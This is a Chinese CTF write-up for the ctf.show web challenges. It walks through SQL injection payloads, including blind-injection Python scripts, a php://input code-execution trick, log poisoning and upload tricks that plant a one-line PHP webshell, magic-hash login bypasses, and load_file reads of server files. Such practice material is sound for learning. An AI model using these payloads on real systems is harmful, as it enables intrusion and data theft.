目錄
web簽到題
web2
web3
web4
web5
web6
web7
web8
web9
錯誤做法
正確做法
web10
web11
web12
web13
web14
web簽到題

直接f12查看到了一串編碼,然后直接base64解碼,得到flag

web2

直接用萬能密碼登錄成功,

查詢得到,回顯的地方為第二個欄位
然后開始爆表名
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
爆欄位名
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=`flag`#
查資料
1' union select 1,flag,3 from flag#
web3

我們可以直接
?url=php://input
POST:<?php sysytem("ls");>
得到了一個flag檔案
?url=php://input
POST:<?php sysytem("cat 檔案");>
web4
題與web3相似,然后我們直接嘗試一下data偽協議不行的
然后嘗試日志注入
?url=/var/log/nginx/access.log
然后我們把一句話木馬加在User-Agent里
在用蟻劍連一下
web5
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{
echo "where is flag?";
}
?>
ctype_alpha():判斷變數是否由字母組成
is_numeric():判斷變數是否由數字組成
很簡單的,我們可以直接找一個純數字和一個純字母加密后為0e開頭的md5值
?v2=240610708&v1=EEIZDOI
以下為收集到md5值為0e開頭的英文和數字
QLTHNDT
0e405967825401955372549139051580
?
QNKCDZO
0e830400451993494058024219903391
?
EEIZDOI
0e782601363539291779881938479162
?
TUFEPMC
0e839407194569345277863905212547
?
UTIPEZQ
0e382098788231234954670291303879
?
UYXFLOI
0e552539585246568817348686838809
?
IHKFRNS
0e256160682445802696926137988570
?
PJNPDWY
0e291529052894702774557631701704
?
ABJIHVY
0e755264355178451322893275696586
?
DQWRASX
0e742373665639232907775599582643
?
DYAXWCA
0e424759758842488633464374063001
?
GEGHBXL
0e248776895502908863709684713578
?
GGHMVOE
0e362766013028313274586933780773
?
GZECLQZ
0e537612333747236407713628225676
?
NWWKITQ
0e763082070976038347657360817689
?
NOOPCJF
0e818888003657176127862245791911
?
MAUXXQC
0e478478466848439040434801845361
?
MMHUWUV
0e701732711630150438129209816536
240610708
0e462097431906509019562988736854
?
314282422
0e990995504821699494520356953734
?
571579406
0e972379832854295224118025748221
?
903251147
0e174510503823932942361353209384
?
1110242161
0e435874558488625891324861198103
?
1320830526
0e912095958985483346995414060832
?
1586264293
0e622743671155995737639662718498
?
2302756269
0e250566888497473798724426794462
?
2427435592
0e067696952328669732475498472343
?
2653531602
0e877487522341544758028810610885
?
3293867441
0e471001201303602543921144570260
?
3295421201
0e703870333002232681239618856220
?
3465814713
0e258631645650999664521705537122
?
3524854780
0e507419062489887827087815735195
?
3908336290
0e807624498959190415881248245271
?
4011627063
0e485805687034439905938362701775
?
4775635065
0e998212089946640967599450361168
?
4790555361
0e643442214660994430134492464512
?
5432453531
0e512318699085881630861890526097
?
5579679820
0e877622011730221803461740184915
?
5585393579
0e664357355382305805992765337023
?
6376552501
0e165886706997482187870215578015
?
7124129977
0e500007361044747804682122060876
?
7197546197
0e915188576072469101457315675502
?
7656486157
0e451569119711843337267091732412
web6
這個題過濾掉了空格
我們可以直接用/**/替換空格就好
admin' or 1=1# //報錯了
admin‘/**/or/**/1=1# //成功了
/開始~~
admin'/**/or/**/1=1/**/order/**/by/**/3#
admin'/**/or/**/1=1/**/uninon/**/select/**/1,2,3#
admin'/**/or/**/1=1/**/uninon/**/select/**/1,2,3#
admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_schema="flag"#
admin'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#
web7
該題為盲注,看了y4爺的二分法腳本
import requests
?
url = "http://ef1aa69c-3250-414b-9468-0c03efbfbd6f.chall.ctf.show/?id='/**/"
?
result = ''
i = 0
?
while True:
i = i + 1
head = 32
tail = 127
?
while head < tail:
mid = (head + tail) >> 1
# payload = 'if(ascii(substr(database(),%d,1))>%d,1,0)' % (i, mid)
# payload = f'if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name="flag")),{i},1))>{mid},1,0)'
payload = f'if(ascii(substr((select/**/(flag)from(flag)),{i},1))>{mid},1,0)'
r = requests.get(url + payload)
if "By Rudyard Kipling" in r.text:
head = mid + 1
else:
tail = mid
?
if head != 32:
result += chr(head)
else:
break
print(result)
?
web8
import requests
?
url = "http://a448d26a-b594-47a1-b3e0-fddbe1d869ba.chall.ctf.show/?id=-1/**/or/**/"
?
result = ''
i = 0
?
while True:
i = i + 1
head = 32
tail = 127
?
while head < tail:
mid = (head + tail) >> 1
# payload = f'ascii(substr(database()/**/from/**/{i}/**/for/**/1))>{mid}#'
# payload = f'ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database()))/**/from/**/{i}/**/for/**/1))>{mid}'
# payload = f'ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name="flag"))/**/from/**/{i}/**/for/**/1))>{mid}'
payload = f'ascii(substr((select/**/(flag)from(flag))/**/from/**/{i}/**/for/**/1))>{mid}'
r = requests.get(url + payload)
if "By Rudyard Kipling" in r.text:
head = mid + 1
else:
tail = mid
?
if head != 32:
result += chr(head)
else:
break
print(result)
?
web9
錯誤做法
打開是一個管理員登錄,需要輸入密碼,我們直接爆破就好

得到了一個base64轉圖片的密文
然后轉一下得到一個圖片,下載這個圖片,沒有任何東西

做到這,才發現前面全是粗了,思路根本不對
正確做法
先看一下/robots.txt,發現有一個index.phps
保存查看,原始碼如下
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陸成功<br>";
echo $flag;
}
}
?>
主要就是這一句話
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'"
將密碼轉換成16進制的hex值以后,再將其轉換成字串后包含’ ‘or ’ 6’
SELECT * FROM admin WHERE pass=’ ‘or ’ 6’
在網上有兩個這樣的字串
ffifdyop、129581926211651571912466741651878684928
又因為長度有限制,所以輸入ffifdyop可獲得flag
web10
我們點擊取消鍵,下載了附件內容
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陸成功<br>";
echo $flag;
}
?
}
}
?>
?
原始碼:對post的資料進行的過濾,然后要對查詢出來的值要和我們post的password相等
進行了WITH ROLLUP繞過
WITH ROLLUP是對group by的結果進行進一步的匯總然后顯示,在group by 列名 with rollup 中,倘若按列名分組后,列的屬性值是不相同的,會生成一條分組條件的列為null的一條新的資料,而如果查詢結果是唯一的,一會生成一條分組條件所在列為null的資料
'or/**/1=1/**/GROUP/**/BY/**/password/**/WITH/**/ROLLUP/**/LIMIT/**/1/**/OFFSET/**/1#
因為加入with rollup后 password有一行為NULL,我們只要輸入空密碼使得(NULL==NULL)即可
web11

<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>
在這里我們可以看到過濾掉了好多東西,然后它讓我們
輸入框的內容等于session的內容
if($password==$_SESSION['password']){
我們可以洗掉里面的phpsesionid,然后session的值為空了,然后可以直接提交空密碼就相等了
web12
打開題目環境,找到了一個hint

發現可以直接rce
然后在這里學到了一個新的函式
php的函式glob();glob()函式回傳匹配指定模式的檔案名或目錄
glob("")匹配任意檔案
glob(".txt")匹配以txt后綴的檔案
我們可以用這個方法把當前目錄的檔案列印一下
輸入:
?cmd=print_r(glob("*"));
我們找到了一個檔案,然后用高顯函式,顯示一下
?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
得到flag
web13
打開題目為一個檔案上傳的題,嘗試上傳木馬,上傳了好多次并沒有什么用,然后猜一下有沒有原始碼泄露
.bak檔案是備份檔案, .hg原始碼泄漏 .git原始碼泄漏 .DS_Store檔案泄漏 .phps .bak結尾的網頁
upload.php.bak得到了原始碼
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "檔案上傳成功!";
}else{
echo "檔案上傳失敗!";
}
?
?>
我們上傳一句話木馬,檔案大小要小于24位元組,名字長度要小于9,后綴小于等于3,名字中不能有php
然后我們構造一個一句話木馬1.txt,內容如下
<?php eval($_GET['a']);
上傳成功~然后我們在上傳一個.user.ini,在檔案中寫上
auto_prepend_file=1.txt
作用就是讓txt檔案以php呈現
在這里我嘗試用蟻劍連,發現連不上,我們就直接在頁面上搜索
a=print_r(glob("*"));

得到了檔案,然后再次使用高顯函式進行查看檔案
a=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
得到flag
web14
首先查看一下原始碼
<?php
include("secret.php");
?
if(isset($_GET['c'])){
$c = intval($_GET['c']);
sleep($c);
switch ($c) {
case 1:
echo '$url';
break;
case 2:
echo '@A@';
break;
case 555555:
echo $url;
case 44444:
echo "@A@";
break;
case 3333:
echo $url;
break;
case 222:
echo '@A@';
break;
case 222:
echo '@A@';
break;
case 3333:
echo $url;
break;
case 44444:
echo '@A@';
case 555555:
echo $url;
break;
case 3:
echo '@A@';
case 6000000:
echo "$url";
case 1:
echo '@A@';
break;
}
}
?
highlight_file(__FILE__);
很明顯我們傳入引數?c=3,不會退出回圈,進而執行下一個case陳述句得到url
here_1s_your_f1ag.php
我們進入之后發現是一個注入的題目,然后我們看一下原始碼
if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
die('@A@');}
還是一樣的爆一下資料庫
?query=-1/**/union/**/select/**/database()
然后再爆表(注:因為過濾掉了有些關鍵詞,我們可以利用反引號進行繞過)
table——》`table`
query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()
爆欄位名
query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'
爆值
query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content
沒有得到flag,但是給了提示在secret.php
mysql提供讀取本地檔案的函式load_file()
?query=-1/**/union/**/select/**/load_file('/var/www/html/serect.php')
原始碼如下
<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
echo file_get_contents('/real_flag_is_here');
}')
我們可以直接讀取'/real_flag_is_here'
?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')
得到flag

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/321005.html
標籤:其他
上一篇:檔案上傳總結
下一篇:AWD簡單介紹和搭建AWD平臺
